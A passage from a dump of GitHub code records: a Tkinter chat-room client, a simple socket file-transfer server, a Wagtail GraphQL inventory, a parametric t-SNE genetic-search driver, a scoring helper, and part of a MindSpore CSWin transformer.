ct.CTkEntry(self.loginframe, placeholder_text=\"Password\", font=(\"consolas\", 20), \r\n height=20, width=450, text_color=\"cyan\", show=\"*\")\r\n self.passwordInput.pack(side=TOP, pady=15, ipady=15)\r\n\r\n self.loginBtn = ct.CTkButton(self.loginframe, text=\"Login\", text_color=\"white\", font=(\"consolas\", 25), command=self.destoryLoginPage)\r\n self.loginBtn.pack(side=TOP, pady=15, ipadx=185, ipady=8)\r\n\r\n self.loginframe.pack(side=TOP, ipady=50, ipadx=50, pady=100, padx=20)\r\n\r\n def destoryLoginPage(self):\r\n if len(self.usernameInput.get()) > 3:\r\n if len(self.passwordInput.get()) > 3:\r\n print(\"Moving to AvatorPage\")\r\n global guestname\r\n guestname = self.usernameInput.get()\r\n self.loginframe.destroy()\r\n AvatorPage(root)\r\n\r\nclass AvatorPage:\r\n def __init__(self, root):\r\n self.root = root\r\n self.root.configure(fg_color=\"black\")\r\n self.root.geometry(\"1000x650+500+100\")\r\n self.root.resizable(False, False)\r\n # All avator images code logic\r\n\r\n self.imgHeight = 180\r\n self.imgWidth = 180\r\n self.imgHeightOnHover = 185\r\n self.imgWidthOnHover = 185\r\n self.avator1_src = Image.open(\"images\\\\avator2.png\")\r\n self.avator1 = ImageTk.PhotoImage(self.avator1_src.resize((self.imgWidth, self.imgHeight)))\r\n self.avator2_src = Image.open(\"images\\\\man.png\")\r\n self.avator2 = ImageTk.PhotoImage(self.avator2_src.resize((self.imgWidth, self.imgHeight)))\r\n self.avator3_src = Image.open(\"images\\\\grownup.png\")\r\n self.avator3 = ImageTk.PhotoImage(self.avator3_src.resize((self.imgWidthOnHover, self.imgHeightOnHover)))\r\n self.avator4_src = Image.open(\"images\\\\womanavt.png\")\r\n self.avator4 = ImageTk.PhotoImage(self.avator4_src.resize((self.imgWidthOnHover, self.imgHeightOnHover)))\r\n self.avator5_src = Image.open(\"images\\\\man3.png\")\r\n self.avator5 = ImageTk.PhotoImage(self.avator5_src.resize((self.imgWidthOnHover, self.imgHeightOnHover)))\r\n\r\n # All avator images code logic ends here\r\n self.avatorFrame = ct.CTkFrame(self.root, height=500, width=650, fg_color=\"#222\")\r\n\r\n # self.choseAvatorLabel = ct.CTkLabel(self.avatorFrame, text=\"Select your Avator\", font=(\"consolas\", 35), text_color=\"white\")\r\n # self.choseAvatorLabel.pack(side=TOP, pady=15, anchor=\"nw\", padx=40)\r\n\r\n self.avatorImageButton = ct.CTkFrame(self.avatorFrame, fg_color=\"#222\")\r\n self.manAvtButton = ct.CTkButton(self.avatorImageButton, text=\"\", image=self.avator1, fg_color=\"#222\", hover_color=\"#333\", \r\n command=lambda: self.configBtnBgOnClick(\"images\\\\avator2.png\"))\r\n self.womanAvtButton = ct.CTkButton(self.avatorImageButton, text=\"\", image=self.avator2, fg_color=\"#222\", hover_color=\"#333\", \r\n command=lambda: self.configBtnBgOnClick(\"images\\\\man.png\"))\r\n self.avator2Img = ct.CTkButton(self.avatorImageButton, text=\"\", image=self.avator3, fg_color=\"#222\", hover_color=\"#333\", \r\n command=lambda: self.configBtnBgOnClick(\"images\\\\grownup.png\"))\r\n self.womanAvtButton3 = ct.CTkButton(self.avatorImageButton, text=\"\", image=self.avator4, fg_color=\"#222\", hover_color=\"#333\", \r\n command=lambda: self.configBtnBgOnClick(\"images\\\\womanavt.png\"))\r\n self.avator3Img = ct.CTkButton(self.avatorImageButton, text=\"\", image=self.avator5, fg_color=\"#222\", hover_color=\"#333\", \r\n command=lambda: self.configBtnBgOnClick(\"images\\\\man3.png\"))\r\n\r\n self.manAvtButton.pack(side=LEFT, anchor=\"ne\", padx=15, pady=50)\r\n self.womanAvtButton.pack(side=LEFT, anchor=\"ne\", padx=15, pady=50)\r\n self.avator2Img.pack(side=LEFT, anchor=\"ne\", padx=15, pady=50)\r\n self.womanAvtButton3.pack(side=LEFT, anchor=\"ne\", padx=15, pady=50)\r\n self.avator3Img.pack(side=LEFT, anchor=\"ne\", padx=15, pady=50)\r\n self.avatorImageButton.pack(side=TOP, anchor=\"sw\", pady=100, fill=X, ipadx=40)\r\n self.avatorFrame.pack(side=TOP, fill=BOTH, expand=True, ipadx=300, pady=32, ipady=10)\r\n\r\n self.nextButton = ct.CTkButton(self.root, text=\"Next\", font=(\"Lucida Console\", 20), width=0\r\n ,command=self.getChatApp, state=\"disabled\")\r\n self.nextButton.pack(side=BOTTOM, anchor=\"se\", pady=15, ipady=15, ipadx=50, padx=25)\r\n\r\n def getChatApp(self):\r\n self.avatorFrame.destroy()\r\n self.nextButton.destroy()\r\n ChatApp(root)\r\n \r\n def configBtnBgOnClick(self, filename):\r\n self.filename = filename\r\n with open(avatorFileName, \"w\") as f:\r\n f.write(self.filename)\r\n self.nextButton.configure(state=\"normal\")\r\n print(\"Written in the file successfully...\")\r\n\r\nclass ChatApp:\r\n def __init__(self, root):\r\n self.root = root\r\n self.root.resizable(True, True)\r\n self.root.geometry(\"500x620+450+100\")\r\n\r\n # Create a frame to hold the labels\r\n self.optionFram = Frame(root, bg=\"black\")\r\n\r\n # All imagas for chatfram code\r\n\r\n manIconSrc2 = Image.open(\"images\\\\man1.png\")\r\n manIconImage2 = ImageTk.PhotoImage(manIconSrc2.resize((40, 40)))\r\n submitIconSrc = Image.open(\"images\\\\send2.png\")\r\n submitIconImage = ImageTk.PhotoImage(submitIconSrc.resize((40, 40)))\r\n messageIconSrc = Image.open(\"images\\\\message.png\")\r\n messageIconImage = ImageTk.PhotoImage(messageIconSrc.resize((40, 40)))\r\n chatIconSrc = Image.open(\"images\\\\chat.png\")\r\n chatIconImage = ImageTk.PhotoImage(chatIconSrc.resize((35, 35)))\r\n\r\n # All imagas for chatfram code ends here\r\n\r\n self.messageIcon = ct.CTkButton(self.optionFram, text=\"\",image=messageIconImage, width=0, bg_color=bgColor, fg_color=bgColor)\r\n self.messageIcon.pack(side=RIGHT, anchor=\"nw\", padx=5, pady=5)\r\n\r\n self.manIcon2 = ct.CTkButton(self.optionFram, text=\"\",image=manIconImage2, height=1, width=1, bg_color=bgColor, fg_color=bgColor,\r\n corner_radius=20)\r\n self.manIcon2.pack(side=LEFT, anchor=\"ne\")\r\n\r\n self.username = ct.CTkLabel(self.optionFram, text=guestname, font=(\"consolas\", 20), text_color=\"#d8d8df\")\r\n self.username.pack(side=LEFT, padx=5, pady=7, anchor=\"ne\")\r\n self.optionFram.pack(side=TOP, fill=X, anchor=\"n\")\r\n\r\n self.canvasFrame = Frame(root)\r\n self.canvasFrame.pack(fill=BOTH, expand=True)\r\n\r\n self.canvas = tk.Canvas(self.canvasFrame, bg=\"black\", highlightthickness=0)\r\n\r\n self.label_frame = tk.Frame(self.canvas, bg=\"black\")\r\n self.label_frame.pack(side=\"left\", fill=\"both\", expand=True)\r\n\r\n self.scrollable_window = self.canvas.create_window((0, 0), window=self.label_frame, anchor=\"nw\")\r\n\r\n # self.emoji_frame = ct.CTkScrollableFrame(self.canvas)\r\n # self.emoji_frame.pack(side=BOTTOM, anchor=\"nw\")\r\n\r\n self.canvas.pack(side=tk.TOP, fill=tk.BOTH, expand=True)\r\n\r\n self.label_frame.bind(\"\", self.configure_scroll_region)\r\n\r\n self.scrollbar = ct.CTkScrollbar(self.canvas, orientation=\"vertical\", command=self.canvas.yview)\r\n self.canvas.configure(yscrollcommand=self.scrollbar.set)\r\n self.canvas.yview_moveto(1.0)\r\n\r\n self.scrollbar.pack(side=\"right\", fill=Y)\r\n\r\n self.canvas.bind(\"\", self.resize_frame)\r\n self.canvas.pack(side=TOP, fill=BOTH)\r\n\r\n bgColorChatFram = \"#080420\"\r\n self.chatFram = Frame(root, bg=bgColorChatFram)\r\n\r\n self.chatIcon = ct.CTkButton(self.chatFram, text=\"\",image=chatIconImage, width=20, bg_color=bgColorChatFram, fg_color=bgColorChatFram)\r\n self.chatIcon.pack(side=LEFT, padx=5)\r\n\r\n self.msgInput = ct.CTkEntry(self.chatFram, placeholder_text=\"Type your message here...\", height=40, font=(\"consolas\", 18))\r\n self.msgInput.pack(side=LEFT, pady=10, padx=0, fill=X, expand=True)\r\n\r\n self.submitBtn = ct.CTkButton(self.chatFram, text=\"\", image=submitIconImage, bg_color=bgColorChatFram, fg_color=bgColorChatFram, height=40, width=20, hover_color=bgColorChatFram)\r\n self.submitBtn.pack(side=LEFT, padx=0, pady=8)\r\n self.submitBtn.configure(command=self.sendMessage)\r\n\r\n self.chatFram.pack(side=BOTTOM, fill=X, ipady=5)\r\n\r\n self.root.bind(\"\", lambda event: self.sendMessage())\r\n self.root.protocol(\"WM_DELETE_WINDOW\", self.onWindowClosing)\r\n\r\n\r\n with open(avatorFileName, \"r\") as imageName:\r\n self.avatorImageFile = imageName.read()\r\n\r\n self.my_avator = self.avatorImageFile\r\n\r\n def configure_scroll_region(self, e):\r\n self.canvas.configure(scrollregion=self.canvas.bbox('all'))\r\n \r\n def resize_frame(self, e):\r\n self.canvas.itemconfigure(self.scrollable_window, width=e.width-30)\r\n \r\n def receive_messages(self):\r\n while True:\r\n try:\r\n self.incoming_message_recv = client_socket.recv(1024).decode('utf-8')\r\n self.ip_address, self.recieved_message = self.incoming_message_recv.split(\":\")\r\n self.formatted_message = self.recieved_message.strip()\r\n if self.incoming_message_recv:\r\n self.bot_frame = ct.CTkFrame(self.label_frame, fg_color=\"black\")\r\n self.bot_frame.pack(side=TOP, anchor=\"nw\", padx=10)\r\n self.bot_image_src = Image.open(self.my_avator)\r\n self.bot_image = ImageTk.PhotoImage(self.bot_image_src.resize((40, 40)))\r\n self.incoming_message = ct.CTkLabel(self.bot_frame, text=self.formatted_message, font=(\"Poppins\", 14), fg_color=\"#444\", corner_radius=6, wraplength=250)\r\n self.incoming_message.pack(side=RIGHT, anchor=\"ne\", padx=10, pady=10, ipady=8, ipadx=10)\r\n self.bot_image_label = ct.CTkLabel(self.bot_frame, text=\"\", image=self.bot_image, fg_color=\"black\")\r\n self.bot_image_label.pack(side=TOP, pady=13)\r\n self.canvas.update_idletasks()\r\n self.canvas.yview_moveto(1.0)\r\n else:\r\n print(\"No clients found\")\r\n except:\r\n break\r\n \r\n def sendMessage(self):\r\n self.message = self.msgInput.get()\r\n if self.message:\r\n self.user_frame = ct.CTkFrame(self.label_frame, fg_color=\"black\")\r\n self.user_frame.pack(side=TOP, anchor=\"ne\")\r\n self.user_image_src = Image.open(self.my_avator)\r\n self.user_image = ImageTk.PhotoImage(self.user_image_src.resize((40, 40))) \r\n self.user_label = ct.CTkLabel(self.user_frame, text=self.message, font=(\"Poppins\", 15), fg_color=\"#419f5b\", corner_radius=4, wraplength=250)\r\n self.user_label.pack(side=LEFT, anchor=\"nw\", pady=10, ipadx=10, ipady=6, padx=10)\r\n user_image_label = ct.CTkLabel(self.user_frame, text=\"\", image=self.user_image, fg_color=\"black\")\r\n user_image_label.pack(side=TOP, pady=13)\r\n self.canvas.update_idletasks()\r\n self.canvas.yview_moveto(1.0)\r\n client_socket.send(self.message.encode('utf-8'))\r\n self.msgInput.delete(0, END)\r\n\r\n # self.receive_thread.start()\r\n # self.receive_thread = threading.Thread(target=self.receive_messages)\r\n self.root.after(1, threading.Thread(target=self.receive_messages).start())\r\n\r\n def onWindowClosing(self):\r\n confirm = askyesnocancel(\"Chat Room\", \"Are you sure ???\")\r\n if confirm == True:\r\n client_socket.close()\r\n self.root.destroy()\r\n else:\r\n pass\r\n\r\nLoginPage(root)\r\n# AvatorPage(root)\r\n# ChatApp(root)\r\ncProfile.run(\"root.mainloop()\")","repo_name":"SarthakTools/ChatRoom","sub_path":"ChatRoom/client.pyw","file_name":"client.pyw","file_ext":"pyw","file_size_in_byte":13829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8017973956","text":"# In The Name Of God\n# ========================================\n# [] File Name : file-transfer.py\n#\n# [] Creation Date : 26-05-2015\n#\n# [] Created By : Parham Alvani (parham.alvani@gmail.com)\n# =======================================\n\nimport logging\nimport socket\nimport threading\n\nfrom .storage import FileStorage\n\n\nclass FileTransferServer(threading.Thread):\n def __init__(self):\n self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sck.bind((\"\", 21))\n self.sck.listen(5)\n super(FileTransferServer, self).__init__(name=\"File Transfer Server\")\n self.setDaemon(True)\n\n def run(self):\n # Create logger object\n logger = logging.getLogger(\"File Transfer Server\")\n\n # Handle ingoing FTP messages\n while True:\n client, address = self.sck.accept()\n logger.info(\" New connection accepted from %s:%d\" % (address[0], address[1]))\n FileTransferHandler(client).start()\n\n\nclass FileTransferHandler(threading.Thread):\n def __init__(self, sck: socket.socket):\n self.sck = sck\n super(FileTransferHandler, self).__init__(name=\"File Transfer Handler\")\n self.setDaemon(True)\n\n def run(self):\n # Create logger object\n logger = logging.getLogger(\"File Transfer Handler\")\n\n sck_file = self.sck.makefile(mode=\"wr\", encoding=\"ascii\", newline='\\n')\n verb, option = sck_file.readline().split(\" \")\n option = option.strip()\n logger.info(\" Request from %s: \" % str(self.sck.getpeername()))\n logger.info(\" -> verb: %s\" % verb)\n logger.info(\" -> option: %s\" % option)\n if verb == 'RETR':\n sck_file.write(\"150 File status okay; about to open data connection.\\n\")\n sck_file.flush()\n tsck = socket.socket()\n try:\n tsck.connect((self.sck.getpeername()[0], 20))\n except ConnectionError:\n sck_file.write(\"425 Can't open data connection.\\n\")\n sck_file.flush()\n self.sck.close()\n return\n tsck.makefile(mode=\"wr\", encoding=\"ascii\", newline='\\n').writelines(FileStorage().get_file(option))\n sck_file.write(\"226 Closing data connection. Requested file action successful.\\n\")\n sck_file.flush()\n tsck.close()\n self.sck.close()\n else:\n sck_file.write(\"202 Command not implemented, superfluous at this site.\\n\")\n sck_file.flush()\n self.sck.close()\n\n\ndef recv_file(ip: str, remote_name: str, local_name: str):\n file = open(local_name, \"w\")\n\n sck = socket.socket()\n\n tsck = socket.socket()\n tsck.bind((\"\", 20))\n tsck.listen(5)\n\n sck.connect((ip, 21))\n sck_file = sck.makefile(mode=\"wr\", encoding=\"ascii\", newline='\\n')\n sck_file.write(\"RETR %s\\n\" % remote_name)\n sck_file.flush()\n\n fsck, address = tsck.accept()\n while True:\n data = fsck.recv(1024)\n if not data:\n break\n file.write(data.decode('ascii'))\n file.flush()\n\n\n# Just for test :-)\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n print(FileStorage([\".\"]).get_files_name())\n FileTransferServer().start()\n recv_file(\"127.0.0.1\", \".gitignore\", \"sample.txt\")\n","repo_name":"9231058/ChFTP","sub_path":"src/ftp/file_transfer.py","file_name":"file_transfer.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"42851526389","text":"from django.db.models import Model as DjangoModel\n\nfrom wagtail.core.models import Page\nfrom wagtail.snippets.models import get_snippet_models\n\nfrom wagtail_graphql import GraphQLEnabledModel\nfrom wagtail_graphql.inventory.base import BaseModelInventory\nfrom wagtail_graphql.types.base import create_model_type\n\n\nclass ModelInventory(BaseModelInventory):\n \"\"\"\n Inventory of models that are not pages nor snippets.\n \"\"\"\n\n def create_model_graphql_type(self, model, fields):\n return create_model_type(model, fields)\n\n def resolve_models(self):\n \"\"\"\n Resolve registered Django models omitting pages and snippets. The\n models need to subclass\n :class:`wagtail_graphql.models.GraphQLEnabledModel`.\n \"\"\"\n\n snippets = get_snippet_models()\n\n for model in GraphQLEnabledModel.__subclasses__():\n # Do allow Django models only.\n if not issubclass(model, DjangoModel):\n raise TypeError('Only Django models are supported')\n\n # Do not register pages\n if issubclass(model, Page):\n continue\n\n # Do not register snippets.\n if model in snippets:\n continue\n\n # Do not allow registering abstract models.\n if model._meta.abstract:\n raise TypeError('Cannot register abstract models')\n\n self._models.add(model)\n self.resolve_model_fields_for(model)\n","repo_name":"tm-kn/wagtail-graphql-api","sub_path":"wagtail_graphql/inventory/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"71688735826","text":"# Overall driver for rounds of genetic experimentation on ptsne network\n\n\npass\n\n# imports\nimport tools\nfrom pathlib import Path\nimport os\n\nfrom core import Parametric_tSNE\nimport pandas as pd\nimport eval\nimport Genetics\n\n# run the breeding for GENERATIONS with GENSIZE with TESTNAME in DIRNAME\ndef run_test(num_generations , gensize , testname , target_dir_name, test_data, output_dims, max_layers=8 , bits_per_layer=12):\n\n gh = Genetics.Genetics(max_layers , bits_per_layer)\n\n # create the target directory if it doesn't exist\n current_dir = Path('.')\n target_dir = Path('.') / target_dir_name\n\n if target_dir not in [x for x in current_dir.iterdir() if x.is_dir()]:\n os.mkdir(str(target_dir))\n\n # create directory in target_dir named for this test, but quit if\n # this directory already exists as we don't want accidental overwrites\n\n #NOTE we don't care about overwrites now so this is commented out, uncomment when driver is finished\n test_dir = target_dir / testname\n if test_dir in [x for x in target_dir.iterdir() if x.is_dir()]:\n print(\"ERROR: a directory of this test name already exists, quitting to avoid potential overwrites...\")\n quit()\n else:\n os.mkdir(str(test_dir))\n '''\n if test_dir not in [x for x in target_dir.iterdir() if x.is_dir()]:\n os.mkdir(str(test_dir)) # delete when the above lines are uncommented\n '''\n\n # load test data\n test_data_file = current_dir / test_data\n data = pd.read_csv(str(test_data_file) , sep=',' , header=None)\n input_dims = data.shape[1]\n data = data.values\n\n # create a file to sit in our test_dir that describes the sizes of the test,\n # for ease of future reading, this will be called 'test_specs'\n tools.write_test_specs(test_dir, num_generations, gensize)\n\n # get our first batch of dna\n child_dna = gh.breed_generation(gensize)\n\n # for reasons of directory nomenclacture, we use 1 as our base index\n for generation in [i+1 for i in range(num_generations)]:\n generation_name = 'generation_' + str(generation)\n # create a directory for this generation\n gen_dir = test_dir / generation_name\n os.mkdir(str(gen_dir))\n # same thing with children\n for child_num, dna in [(i+1,j) for (i,j) in enumerate(child_dna)]:\n child_name = \"child_\" + str(child_num)\n # make a folder for the child\n child_dir = gen_dir / child_name\n os.mkdir(str(child_dir))\n train_child(child_dir , dna , data, input_dims, output_dims, gh)\n print(generation_name , \" \" , child_name , \" trained\")\n\n # now that children are trained, get the best two\n one, two = eval.eval_using_area_under_curve(gen_dir)\n # generate graphs for our children\n #eval.generate_generation_perf_report(gen_dir)\n # use best two to breed\n child_dna = gh.breed_generation(gensize , [one,two])\n print(generation_name , ' Finished...beginning new generation')\n\n# function that handles the training of a specific child and writes out its data\ndef train_child(child_dir_path , dna, test_data, input_dims, output_dims , gh):\n # translate our dna\n perplexity, layers = gh.decode_dna(dna)\n print(\"training child of dim: \" , layers)\n # create a network of this name with our stats\n ptsne = Parametric_tSNE(input_dims, output_dims, perplexity, all_layers=layers)\n # train it on test_data\n loss = ptsne.fit(test_data, verbose=False)\n # save our model\n model_path = child_dir_path / 'model'\n ptsne.save_model(str(model_path))\n # write our loss, dna, and save a graph of performance\n tools.write_gen_report_curves(child_dir_path , dna , loss, perplexity, layers)\n ptsne.clear_session()\n\n# given the name of a generation, analyze it\ndef analyze_generation():\n pass\n\n\n\nif __name__ == '__main__':\n run_test(40,5,'LongShallowGenTestCurve','TestData' , \"RBMTrainingDataset/training_set.csv\" , 2)\n","repo_name":"tylerharrold/Fantasy_Stats_Genetic_ptSNE","sub_path":"Deprecated_Scripts/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"35650186489","text":"# @author ksdme\n# Calculates Scores\n\ndef getScores(rmodel):\n\t\"\"\"\n\t\tcalculate the scores of all\n\t\tthe guys and sort them out\n\t\"\"\"\n\n\tplayers, scores = rmodel.select(), {}\n\tfor player in players:\n\t\tscores[player.roll] = sum(map(\n\t\t\tlambda l: 0 if l < 0 else l,\n\t\t\tplayer.replies.values()))\n\n\t# send a list of lists,\n\t# dict may rearrange, list\n\t# stays ordered!\n\treturn map(list, (sorted(\n\t\tscores.iteritems(),\n\t\tkey=lambda l: l[1], reverse=True)))\n\ndef getDetails(dmodel):\n\t\"\"\"\n\t\tget the details of the users from\n\t\tdatabase, using an dmodel\n\t\"\"\"\n\ttry:\n\t\tplayas, actual = dmodel.select(), {}\n\t\tfor player in playas:\n\t\t\tactual[player.roll] = player.name\n\texcept:\n\t\treturn { \"e\": True, \"m\": \"z\" }\n\n\treturn actual\n","repo_name":"DotSlashCommunity/alan-server","sub_path":"alan/abstract/scores.py","file_name":"scores.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26081598189","text":"import numpy as np\n\nfrom mindspore import nn\nfrom mindspore import numpy as msnp\nfrom mindspore import ops\nfrom mindspore.common import dtype as mstype\nfrom mindspore.common import initializer as weight_init\nfrom mindspore.common import Parameter, Tensor\n\nfrom src.models.cswin.misc import _ntuple, Identity, DropPath1D\n\nto_2tuple = _ntuple(2)\n\n\nclass CustomRearrange(nn.Cell):\n \"\"\"CustomRearrange\"\"\"\n def construct(self, x):\n b, c, h, w = x.shape\n # assert h == self.h, \"CustomRearrange h shape error\"\n # assert w == self.w, \"CustomRearrange w shape error\"\n x = ops.Transpose()(x, (0, 2, 3, 1))\n x = ops.Reshape()(x, (b, h * w, c))\n return x\n\n\nclass Mlp(nn.Cell):\n \"\"\"MLP Cell\"\"\"\n\n def __init__(self, in_features, hidden_features=None,\n out_features=None, act_layer=nn.GELU, drop=0.):\n super(Mlp, self).__init__()\n out_features = out_features or in_features\n hidden_features = hidden_features or in_features\n self.fc1 = nn.Dense(in_channels=in_features, out_channels=hidden_features, has_bias=True)\n self.act = act_layer()\n self.fc2 = nn.Dense(in_channels=hidden_features, out_channels=out_features, has_bias=True)\n self.drop = nn.Dropout(keep_prob=1.0 - drop)\n\n def construct(self, x):\n x = self.fc1(x)\n x = self.act(x)\n x = self.drop(x)\n x = self.fc2(x)\n x = self.drop(x)\n return x\n\n\nclass LePEAttention(nn.Cell):\n \"\"\"LePEAttention\"\"\"\n\n def __init__(self, dim, resolution, idx, split_size=7, dim_out=None, num_heads=8,\n attn_drop=0., proj_drop=0., qk_scale=None):\n super(LePEAttention, self).__init__()\n self.dim = dim\n self.dim_out = dim_out or dim\n self.resolution = resolution\n self.split_size = split_size\n self.num_heads = num_heads\n head_dim = dim // num_heads\n # NOTE scale factor was wrong in my original version, can set manually to be compat with prev weights\n self.scale = qk_scale or head_dim ** -0.5\n if idx == -1:\n H_sp, W_sp = self.resolution, self.resolution\n elif idx == 0:\n H_sp, W_sp = self.resolution, self.split_size\n elif idx == 1:\n W_sp, H_sp = self.resolution, self.split_size\n else:\n raise ValueError(\"ERROR MODE: {}\".format(idx))\n self.H_sp = H_sp\n self.W_sp = W_sp\n stride = 1\n self.get_v = nn.Conv2d(\n dim, dim, kernel_size=3, stride=1, pad_mode=\"pad\", padding=1, has_bias=True, group=dim)\n # self.get_v = nn.Conv2d(\n # dim, dim, kernel_size=3, stride=2, pad_mode=\"pad\", padding=2, has_bias=True, group=dim)\n self.attn_drop = nn.Dropout(1 - attn_drop)\n\n # operations\n self.batch_matmul_qk = ops.BatchMatMul(transpose_b=True)\n self.batch_matmul_v = ops.BatchMatMul()\n self.reshape = ops.Reshape()\n self.softmax = ops.Softmax(axis=-1)\n self.transpose = ops.Transpose()\n # self.print = ops.Print()\n\n def im2cswin(self, x):\n B, N, C = x.shape\n H = W = self.resolution\n # H = W = int(N ** 0.5)\n # self.print('im2cswin H&&W: {}'.format(H))\n # print('im2cswin H&&W: {}, resolution: {}'.format(H, self.resolution), flush=True)\n x = self.reshape(self.transpose(x, (0, 2, 1)), (B, C, H, W))\n\n # img2windows part\n x = self.reshape(x, (B, C, H // self.H_sp, self.H_sp, W // self.W_sp, self.W_sp))\n x = self.transpose(x, (0, 2, 4, 3, 5, 1))\n # x = self.reshape(x, (-1, H_sp * W_sp, C))\n # img2windows part\n\n x = self.reshape(x, (-1, self.H_sp * self.W_sp, self.num_heads, C // self.num_heads))\n x = self.transpose(x, (0, 2, 1, 3))\n\n return x\n\n def get_lepe(self, x):\n B, N, C = x.shape\n H = W = self.resolution\n # H = W = int(N ** 0.5)\n # self.print('get_lepe H&&W: {}'.format(H))\n # print('get_lepe H&&W: {}, resolution: {}'.format(H, self.resolution), flush=True)\n x = self.reshape(self.transpose(x, (0, 2, 1)), (B, C, H, W))\n x = self.reshape(x, (B, C, H // self.H_sp, self.H_sp, W // self.W_sp, self.W_sp))\n x = self.transpose(x, (0, 2, 4, 1, 3, 5))\n # B', C, H', W'\n x = self.reshape(x, (-1, C, self.H_sp, self.W_sp))\n # B', C, H', W'\n lepe = self.get_v(x)\n lepe = self.reshape(lepe, (-1, self.num_heads, C // self.num_heads, self.H_sp * self.W_sp))\n lepe = self.transpose(lepe, (0, 1, 3, 2))\n\n x = self.reshape(x, (-1, self.num_heads, C // self.num_heads, self.H_sp * self.W_sp))\n x = self.transpose(x, (0, 1, 3, 2))\n\n return x, lepe\n\n def construct(self, qkv):\n q, k, v = qkv[0], qkv[1], qkv[2]\n # img2window\n H = W = self.resolution\n B, L, C = q.shape\n # assert L == H * W, \"flatten img_tokens has wrong size\"\n\n q = self.im2cswin(q)\n k = self.im2cswin(k)\n v, lepe = self.get_lepe(v)\n\n q = q * self.scale\n # batch_matmul already set transpose_b\n attn = self.batch_matmul_qk(q, k)\n attn = self.softmax(attn)\n attn = self.attn_drop(attn)\n\n x = self.batch_matmul_v(attn, v) + lepe\n # B head N N @ B head N C\n x = self.reshape(self.transpose(x, (0, 2, 1, 3)), (-1, self.H_sp * self.W_sp, C))\n\n # window2img\n S = x.shape[0]\n # B_w = int(S / (H * W / self.H_sp / self.W_sp))\n B_w = S // (H * W / self.H_sp / self.W_sp)\n x = self.reshape(x, (B_w, H // self.H_sp, W // self.W_sp, self.H_sp, self.W_sp, -1))\n x = self.transpose(x, (0, 1, 3, 2, 4, 5))\n x = self.reshape(x, (B_w, H, W, -1))\n\n x = self.reshape(x, (B, -1, C))\n\n return x\n\n\nclass CSWinBlock(nn.Cell):\n \"\"\"CSWinBlock\"\"\"\n\n def __init__(self, dim, reso, num_heads,\n split_size=7, mlp_ratio=4., qkv_bias=False, qk_scale=None,\n drop=0., attn_drop=0., drop_path=0.,\n act_layer=nn.GELU, norm_layer=nn.LayerNorm,\n last_stage=False):\n super(CSWinBlock, self).__init__()\n self.dim = dim\n self.num_heads = num_heads\n self.patches_resolution = reso\n self.split_size = split_size\n self.mlp_ratio = mlp_ratio\n\n self.qkv = nn.Dense(in_channels=dim, out_channels=dim * 3, has_bias=qkv_bias, activation=None)\n\n self.norm1 = norm_layer((dim,) if isinstance(dim, int) else dim, epsilon=1e-5)\n\n if self.patches_resolution == split_size:\n last_stage = True\n if last_stage:\n self.branch_num = 1\n else:\n self.branch_num = 2\n\n self.proj = nn.Dense(in_channels=dim, out_channels=dim, has_bias=True, activation=None)\n self.proj_drop = nn.Dropout(1 - drop)\n\n if last_stage:\n self.attns = nn.CellList([\n LePEAttention(\n dim, resolution=self.patches_resolution, idx=-1,\n split_size=split_size, num_heads=num_heads, dim_out=dim,\n qk_scale=qk_scale, attn_drop=attn_drop, proj_drop=drop)\n for _ in range(self.branch_num)\n ])\n else:\n self.attns = nn.CellList([\n LePEAttention(\n dim//2, resolution=self.patches_resolution, idx=i,\n split_size=split_size, num_heads=num_heads//2, dim_out=dim//2,\n qk_scale=qk_scale, attn_drop=attn_drop, proj_drop=drop)\n for i in range(self.branch_num)\n ])\n\n mlp_hidden_dim = int(dim * mlp_ratio)\n\n self.drop_path = DropPath1D(drop_path) if drop_path > 0. else Identity()\n self.mlp = Mlp(\n in_features=dim, hidden_features=mlp_hidden_dim,\n out_features=dim, act_layer=act_layer, drop=drop)\n self.norm2 = norm_layer((dim,) if isinstance(dim, int) else dim, epsilon=1e-5)\n\n # operations\n self.concat = ops.Concat(axis=2)\n self.reshape = ops.Reshape()\n self.transpose = ops.Transpose()\n\n def construct(self, x):\n \"\"\"x: B, H*W, C\"\"\"\n H = W = self.patches_resolution\n B, L, C = x.shape\n # assert L == H * W, \"flatten img_tokens has wrong size\"\n img = self.norm1(x)\n qkv = self.transpose(self.reshape(self.qkv(img), (B, -1, 3, C)), (2, 0, 1, 3))\n if self.branch_num == 2:\n x1 = self.attns[0](qkv[:, :, :, :C//2])\n x2 = self.attns[1](qkv[:, :, :, C//2:])\n attened_x = self.concat((x1, x2))\n else:\n attened_x = self.attns[0](qkv)\n attened_x = self.proj(attened_x)\n x = x + self.drop_path(attened_x)\n x = x + self.drop_path(self.mlp(self.norm2(x)))\n\n return x\n\n\nclass MergeBlock(nn.Cell):\n \"\"\"MergeBlock\"\"\"\n \n def __init__(self, dim, dim_out, resolution, norm_layer=nn.LayerNorm):\n super(MergeBlock, self).__init__()\n self.resolution = resolution\n self.conv = nn.Conv2d(\n in_channels=dim, out_channels=dim_out, kernel_size=3, stride=2,\n pad_mode=\"pad\", padding=1, has_bias=True)\n if isinstance(dim_out, int):\n dim_out = (dim_out,)\n self.norm = norm_layer(dim_out, epsilon=1e-5)\n\n # operations\n self.reshape = ops.Reshape()\n self.transpose = ops.Transpose()\n # self.print = ops.Print()\n\n def construct(self, x):\n B, new_HW, C = x.shape\n H = W = self.resolution\n # H = W = int(new_HW ** 0.5)\n # self.print('MergeBlock H&&W: {}'.format(H))\n # print('MergeBlock H&&W: {}, resolution: {}'.format(H, self.resolution), flush=True)\n x = self.reshape(self.transpose(x, (0, 2, 1)), (B, C, H, W))\n x = self.conv(x)\n B, C = x.shape[:2]\n x = self.transpose(self.reshape(x, (B, C, -1)), (0, 2, 1))\n x = self.norm(x)\n\n 